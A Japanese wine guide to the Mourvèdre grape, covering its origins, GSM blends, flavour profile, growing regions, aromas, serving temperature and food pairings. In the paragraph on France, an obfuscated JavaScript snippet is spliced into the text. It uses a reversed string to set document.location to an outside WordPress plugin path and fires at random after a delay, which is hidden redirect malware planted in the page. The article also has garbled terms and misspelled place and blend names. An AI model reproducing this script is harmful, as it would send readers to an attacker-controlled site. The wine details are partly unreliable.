【ムールヴェードル】フルボディな赤ワインの種類:スペイン
ムールヴェードルの概要
ムールヴェドールは、スペインのカタルーニャ地方が原産の赤ワイン用ブドウ品種です。紀元前500年頃にスペインのカタルーニャ地方を旅していたフェニキア人によって、スペインにもたらされたと言われています。
現在も世界の栽培地の広さのほとんどをスペインで占め、フランスでも盛んに造られています。
ムールヴェードルは、GSBブレントの1つで、GSMというのは、Grenecheグルナッシュ、Shirazシラーズ、Mourvèdreムーヴェールドをブレンドしたワインのスタイルのことで、その3つの頭文字をとってGSMと呼びます。
GSMブレンドの最高品質とされるのは、
・スペインのプリオラート産
・スペインのメントリーダ産
・フランスのシャトーヌフ・デュ・パプ産
・オーストラリアのバロッサ・バレー産
・アメリカのカリフォルニア州サンタ・バーバラ産
のワインになります。ムールヴェードルをブレンドすることによって、ワインに色味と力強いタンニンと、黒果実のアロマが加わります。
熟成に向いていて、非常に強いタンニンとボディを持ち、酸味や果実味もしっかりしていて、全体的に濃厚なワインを生み出す貴重な品種となっています。
赤というよりかは、黒のどっしり感のあるすべてが強いワインという感覚です。
<料金相場>…1本650円~20,000円
ムールヴェードルの味の特徴
果実味…凝縮した黒い果実の味わいを感じることができます
ボディ…フルボディになります。
※ボディとは、口の中で感じられるワインの重み・コクのこと
タンニン…非常に強いタンニンを感じることができます
酸味…強い酸味を感じることができます
アルコール度…12%~15%
ムールヴェードルの産地
ムールヴェードルは、スペイン、フランス、オーストラリアの3つの産地が有名です。
スペイン…ムールヴェードルはスペインではMonastrell/モナストレルと呼ばれ、バレンシアやファーミリャ、イクラエ、アルマンサ、アフリカンテで造られています。
フランス…プロヴァンス地方のAOCワインであるBantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dol/バンドールは、ムールヴェードル種のみで造られています。AOCとは原産地呼称統制のことで、生産地の区画やブドウ品種、ブドウの栽培方法や醸造方法などを細かく規定し、その条件を満たしたワインのみが認定されるフランスのワイン制度です。
オーストラリア…オーストラリアではマタローと呼ばれ、南オーストラリア州でGSMブランドのワイン造りに使われています。
ムールヴェードルのワイン選び
お手頃に楽しむムールヴェードルのワインを探すなら、スペインのモナストレルは値段もカジュアルで熟成させなくても美味しく飲むことができます。飲む前に少なくとも1時間ほどデキャンタージュすると、さらに美味しく飲むことができます。
ムールヴェードルのアロマ
第1アロマ…ブラックベリー、黒胡椒、ブラックラズベリー、アサイー、黒オリーブ
第2アロマ…カカオ、腐葉土、焼いた肉
第3アロマ…モカ、コーヒー、バニラ、甘いタバコ
ムールヴェードルの美味しい飲み方
<美味しく飲めるグラス>…普通の赤ワイン用グラスが最適です。
<美味しく飲める温度>…約16~20℃。
<美味しく飲める期間>…一般的に最長10年保存が利きます。
ムールヴェードルとロゼ
ムールヴェードルは、スペインではロゼのカヴァを造るのに使われます。カヴァはスペインを代表するスパークリングワインです。フランスのシャンパンと同じ瓶内二次発酵で造られたワインになります。
フランスでは、ムールヴェードルは、非発泡性のロゼワイン造りにも使われます。プロヴァンス地方のAOCバンドールによく見られます。
ムールヴェードルに合う料理
赤よりも黒のイメージがあり、全体が強くしっかりしているムールヴェードルは、ビーフシチューや赤身の肉料理を食べる時にぴったりです。
スパイシーな味付けの濃厚な中華料理や韓国料理に合わせるのもおススメです。肉料理なら黒胡椒焼きで美味しく食べられるものとの合わせることをおススメです。
全体に力を持ったワインは自分のオリジナルカレーで、ワインを味わいながら、カレーに変化加えてマリアージュを楽しむのも良いですよ。